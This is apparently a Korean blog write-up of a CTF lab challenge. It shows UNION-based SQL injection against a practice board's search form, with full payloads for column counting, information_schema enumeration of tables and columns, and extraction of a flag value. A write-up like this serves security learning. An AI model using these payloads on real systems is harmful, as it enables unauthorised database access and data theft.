Normaltic CTF - UNION SQL Injection

심야·2023년 7월 14일
0

UNION SQL Injection

http://ctf.segfaulthub.com:9999/sqli_1/search.php 해당 사이트는 게시판 서비스를 제공한다.

Admin 을 입력하니 Adminer 가 출력된다. 추측건대 검색 기능이 like query를 사용하는 것 같다.

% 특수문자가 필터링 되는지 확인하기 위해 Admin% 문자열로 검색한다.
검색 결과 % 문자가 출력되지 않는 것으로 보아 해당 문자를 필터링하지 않는다.

'# 도 필터링 되는지 확인하기 위해 admin%' # 문자열로 검색한다.

검색 결과 필터링이 되지 않는다. 따라서 해당 게시판은 SQL Injection 취약점이 존재하는 것으로 추정된다.

admin%' order by 1 #
odrer by 쿼리를 사용해 현재 테이블이 몇 개 컬럼을 사용하는지 파악한다.

숫자를 계속 증가시켜보니 5에서 어떠한 데이터도 출력되지 않는다. 이는 해당 게시판이 4개 컬럼으로 구성되어 있음을 의미한다.

admin%' union select '1', '2', '3', '4
union 을 사용해 해당 테이블이 4개 컬럼을 사용하는지 확인하겠다. 확인 결과 4개 컬럼을 사용한다.

admin%' union select '1', '2', database(), '4
’3’ 대신 database() 함수를 사용해 해당 테이블이 사용하는 데이터베이스 이름을 확인하겠다.

'3' 이 출력됬던 부분에 database 이름이 출력되었다. 해당 테이블이 사용하는 데이터베이스 이름은 sqli_1 이다. 이제 데이터베이스 이름을 알았으니 테이블 이름을 찾아야한다.

information_schema 은 MySQL 데이터베이스 시스템에서 사용되는 시스템 데이터베이스 중 하나로이 데이터베이스에는 MySQL 서버에서 사용 가능한 모든 데이터베이스, 테이블, 뷰 등에 대한 정보가 포함되어 있다. 예를 들어, information_schema.columns 스키마는 데이터베이스 내의 모든 테이블의 열(column) 정보를 포함하고 있으며, information_schema.tables 스키마는 데이터베이스 내의 모든 테이블의 정보를 제공한다. 따라서 information_schemasql_i 데이터베이스의 모든 테이블과 컬럼을 확인하겠다.

information_schema.tables 스키마로 테이블 이름을 찾기위해 admin%' union select '1', table_name, '3', '4' from information_schema.tables where table_schema='sqli_1' # 쿼리로 인젝션을 시도하겠다.

시도 결과, flag_tableuser_info 테이블이 출력되었다. flag를 찾아야 하므로 flag_table 이 사용하는 컬럼을 확인하겠다.

information_schema.columns 스키마로 flag_table 컬럼을 찾기위해 admin%' union select '1', column_name, '3', '4' from information_schema.columns where table_name='flag_table' # 쿼리로 인젝션을 시도하겠다.

시도 결과, flag 컬럼이 출력되었다. 사용하는 테이블과 컬럼을 알았으니 데이터를 추출하겠다.
admin%' union select '1', flag, '3', '4' from flag_table # 쿼리로 인젝션을 시도한다.

시도 결과 flag 값을 획득하였다. flag를 제출하니 아래 그림과 같이 정답임을 확인할 수 있다.

flag 획득!

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글